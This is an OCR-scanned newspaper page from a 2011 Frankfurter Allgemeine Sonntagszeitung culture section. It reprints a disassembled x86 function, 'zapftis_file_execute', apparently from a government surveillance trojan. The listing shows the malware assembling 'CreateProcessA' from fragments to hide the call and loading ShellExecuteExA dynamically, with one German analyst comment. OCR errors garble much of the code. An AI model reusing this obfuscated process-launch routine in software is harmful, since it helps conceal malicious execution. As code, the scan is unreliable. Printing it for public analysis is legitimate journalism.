lea edi, [esp+@E4h+var_50] repne scasb



44 FEUILLETON

FRANKFURTER ALLGEMEINE SONNTAGSZEITUNG, 9. OKTOBER 2011, NR. 40

not ecx

dec ecx

mov ebp, ecx

lea ecx, [esp+@E8h+var_C(C]
push ebp

call sub_10001790

test al, 4al

12 short 1loc_10003C9C
mov edi, [esp+@E4h+1pProcName]
mov ecx, ebp
mov edx, ecx
mov esi, offset aCrea
¢ Crea®
shr ecx, 2
rep movsd
mov ecx, edx
push ebp
and ecx, 3
rep movsb
lea ecx, [esp+@E8h+var_C(C]
call

?_Eos@?$basic_string@dU?$char_traits@D@std@
@V?%$allocator@D@2@@std@@AAEXI@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Eos(uint)

loc_10003CoC:
; CODE XREF: _@zapftis_file_execute+F7j

mov al, [esp+@E4h+arg_10]
mov [esp+@E4h+var_4], 0
test al, @l

jz short loc_10003D16

push offset aShell32_dl11 )
,shell32.d11“
call ds:LoadlLibraryA

mov esi, eax

push offset aShellexecuteex :
sohellExecuteExA“

push esi
; hModule

call ds:GetProcAddress

test eax, eax

setnz bl

test oL, Bl

jz short loc_10003CEQ

lea ecx, [esp+@E4h+var_9(]

push ecx

call eax

test eax, eax

setnz bl

loc_10003CEQ:

; CODE XREF: _@zapftis_file_execute+152]
push esi

; hLibModule
call ds:FreelLibrary

test bl. bl

jnz short 1loc_10003D06

push 1

lea ecx, [esp+@E8h+var_C(C]

mov [esp+OE8h+var_4],
OFFFFFFFFh

call

?_Tidy@?$basic_string@U?$char_traits@D@std
@@V?%$allocator@D@2@@std@@AAEX_N@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Tidy(bool)

jmp loc_10003F75

loc_10003D06:
; CODE XREF: _@zapftis_file_execute+169j

mov edx, [esp+@E4h+var_64]
mov [esp+OE4h+hProcess], edx
jmp loc_10003EAF

loc_10003D16:
; CODE XREF: _@zapftis_file_execute+130j

mov al, [esp+@E4h+var_D1]
push 0

lea ecx, [esp+OE8h+Msg]
mov [esp+OE8h+Msg], al
call

?_Tidy@?$basic_string@U?$char_traits@D@std
@@V?%$allocator@D@2@@std@@AAEX_N@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Tidy(bool)

mov edi, offset aTeproc :
,teProc*

or ecx, OFFFFFFFFh

xor eax, eax

push 1

repne scasb

not ecx

dec ecx

mov ebp, ecx

lea ecx, [esp+QE8h+Msg]

push ebp

call sub_10001790

test al, dal

jz short loc_10003D6D
mov edi, [esp+@E4h+var_B&]
mov ecx, ebp

mov edx, ecx
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mov esi, offset aTeproc ‘
,teProc*

shr ecx, 2

rep movsd

mov ecx, edx

push ebp

and ecx; 3

rep movsb

lea ecx, [esp+OE8h+Msg]

call

?_Eos@?$basic_string@U?$char_traits@D@std@
@V?%$allocator@D@2@@std@@AAEXI@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Eos(uint)

loc_10003D6D:
; CODE XREF: _@zapftis_file_execute+1(C8j

mov eax, ds:dword_1003D300

lea ecx, [esp+@E4h+Msg]

push eax

push 0

push ecx

lea ecx, [esp+@F@h+var_C(C]

mov byte ptr [esp+@F@h+var_4], 1
call

?append@?$basic_string@U?$char_traits@D@st
de@V?$allocator@D@2@@std@@QAEAAV1Z@ABV12@IT
@Z

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>: :append(std: :basic
_string<char,std: :char_traits<char>,std: :al
locator<char>> const &,uint,uint)

push 1

lea ecx, [esp+@E8h+Msg]

mov byte ptr [esp+@E8h+var_4], 0
call

?_Tidy@?$basic_string@DU?$char_traits@D@std
@@V?%$allocator@D@2@@std@@AAEX_N@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Tidy(bool)

push offset aKernel32 :
,Kernel32“
call ds:GetModuleHandleA

mov dl, [esp+@E4h+var_D1]
push )

lea ecx, [esp+@E8h+Msg]
mov ebx, eax

mov [esp+@E8h+Msg], dl
call

?_Tidy@?$basic_string@bU?$char_traits@D@std
@@V?%allocator@D@2@@std@@AAEX_N@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Tidy(bool)

mov

,»€SSA®
or ecx, OFFFFFFFFh

edi, offset aEssa :

xor eax, eax
push 1

repne scasb

not ecx

dec ecx

mov ebp, ecx

lea ecx, [esp+@E8h+Msqg]
push ebp

call sub_10001790

test al, dal

jz short loc_10003E02

mov edi, [esp+@E4h+var_B8&]

mov ecx, ebp

mov eax, ecx

mov esi, offset aEssa :
,ESSA®

shr ecx, 2

rep movsd

mov ecx, eax

push ebp

and ecx, 3

rep movsb

lea ecx, [esp+OE8h+Msg]

call

?_Eos@?$basic_string@DU?$char_traits@D@std@
@V?%$allocator@D@2@@std@@AAEXI@Z ;

std: :basic_string<char,std: :char_traits<cha
r>,std: :allocator<char>>::_Eos(uint)

loc_10003EQ2:
; CODE XREF: _@zapftis_file_execute+25Dj

mov ecx, ds:dword_1003D300
lea edx, [esp+OE4h+Msqg]
E push ecx
push )
push edx
lea ecx, [esp+@F@h+var_C(C] :
,CreateProcessA®
mov byte ptr [esp+@F@Oh+var_4], 2
call

?append@?$basic_string@DU?$char_traits@D@st
de@V?%$allocator@D@2@@std@@QAEAAV1Z2@ABV12@IT
@Z ; CreateProcessA wird zusammengebaut

mov eax, [esp+@E4h+var_B8]
mov byte ptr [esp+@E4h+var_4], 0
test eax, eax

jz short loc_l10003E4E
lea ecx, [eax-1]

mov al, [eax-1]

test gl . #l

1Z short loc_10003E45
cmp al, OFFh

jz short loc_10003E45
dec al
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mov [ecx], al
jmp short loc_10003E4E

loc_10003E45:
CODE XREF: _@zapftis_file_execute+2B9j

_@zapftis_file_execute+2BD]

push ecx
call __0@zapf_destruct_object
add esp, 4

loc_10003E4E .
CODE XREF: _@zapftis_file_execute+2AFj

_Qzapftis_file_execute+2(3]

mov eax, [esp+@E4h+1pProcName]
test eax, eax

jnz short loc_10003ESB

mov eax, offset byte_1003D2F4

loc_10003ESB:
CODE XREF: _@zapftis_file_execute+2D4]

push eax
LpProcName
push ebx
hModule
E call ds:GetProcAddress
test eax, eax
jZ loc_10003F51
E lea ecx, [esp+@E4h+var_60]
lea edx, [esp+@E4h+var_50]
push ecx
LpProcessInformation
mov ecx, [esp+@E8h+arg_4]
push edx
lpStartupInfo
mov edx, [esp+@ECh+arg_0]
push )
LpCurrentDirectory
push )
LpEnvironment
push 4000000h
dwCreationFlags
push ]
bInheritHandles
push )
LpThreadAttributes
push )
LpProcessAttributes
push ecx
CmdL1ine
push edx

AppName

call eax
E ; CreateProcessA()

test eax, eax

jz loc_10003F51

mov eax, [esp+@E4h+var_60]
mov [esp+OE4h+hProcess], eax

loc_10003EAF:

; CODE XREF:
_Ozapftis_file_execute+191j
mov al, [esp+@E4h+arg_8]
test al, al
jz short loc_10003F27
mov ebp, ds:Sleep
mov esi, ds:PeekMessageA
mov edi, ds:TranslateMessage
mov ebx, ds:DispatchMessageA

loc_10003ED2Z:

; CODE XREF:
_Ozapftis_file_execute+3A5]
push 3E8h

: dwMilliseconds
call ebp ; Sleep

push 1
; WRemoveMsg
push 0
; WMsgFilterMax
push 0
; WMsgFilterMin
lea ecx, [esp+@FOh+Msg]
push 0
: hWnd
push ecx
; LpMsg
call esi ; PeekMessageA
test eax, eax
jz short loc_10003F@D

loc_10003EEC:

; CODE XREF:

_Ozapftis_file_execute+38Bj
lea edx, [esp+0@E4h+Msqg]
push edx

; LpMsg
call edi ; TranslateMessage
lea eax, [esp+OE4h+Msqg]
push eax

; LpMsg

call ebx ; DispatchMessageA
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push 1
, WRemoveMsg
push )
; WMsgFilterMax
push 0
; WMsgFilterMin
lea ecx, [esp+OF@h+Msg]
push )
; hWnd
push ecx
; LpMsg
call esi ; PeekMessageA
test eax, eax
jnz short loc_10003EEC

loc_10003F@D:
; CODE XREF: _@zapftis_file_execute+36Aj

mov eax, [esp+@E4h+hProcess]
lea edx, [esp+@E4h+ExitCode]
push edx
: LpEx1itCode
push eax
; hProcess
call ds:GetExitCodeProcess
cmp dword ptr
[esp+@E4h+ExitCode], 103h
jz short loc_10003ED2

loc_10003F27 .
; CODE XREF: _@zapftis_file_execute+3383

mov ecx, [esp+@E4h+1pProcName]
test ecx, ecx

Iz short loc_10003F4D
mov al, [ecx-1]

test al; al

jz short loc_10003F43
cmp al, OQFFh

jz short loc_10003F43
dec al

mov [ecx-1], al

mov gLy 1

jmp short loc_10003F77

loc_10003F43:
; CODE XREF: _@zapftis_file_execute+3B4j

; _0zapftis_file_execute+3B8j

dec ecx

push ecx

call __@zapf_destruct_object
add esp, 4

loc_10003F4D:

; CODE XREF: _@zapftis_file_execute+3AD]
mov al, 1
jmp short loc_10003F77

loc_10003F51:
; CODE XREF: _@zapftis_file_execute+2E5]

; _0zapftis_file_execute+31Ej

mov ecx, [esp+@E4h+1pProcName]
test ecx,; ecx

jz short loc_10003F75
mov al, [ecx-1]

test al, al

jz short loc_10003F6B
cmp al, OFFh

12 short loc_10003F6B
dec al

mov [ecx-1], al

jmp short 1loc_10003F75

loc_10003F6B:
; CODE XREF: _@zapftis_file_execute+3DEj

; _@zapftis_file_execute+3E2j

dec ecx

push ecx

call __@zapf_destruct_object
add esp, 4

loc_10003F75:
; CODE XREF: _@zapftis_file_execute+181j

; _0zapftis_file_execute+3D73
xor gL, al

loc_10003F77:
; CODE XREF: _@zapftis_file_execute+3(Clj

; _@zapftis_file_execute+3CFj

mov ecx, [esp+@E4h+var_(]
pop edi

pop esi

pop ebp

pop ebx

mov large fs:0, ecx

add esp, @D4h

retn

_Qzapftis_file_execute endp



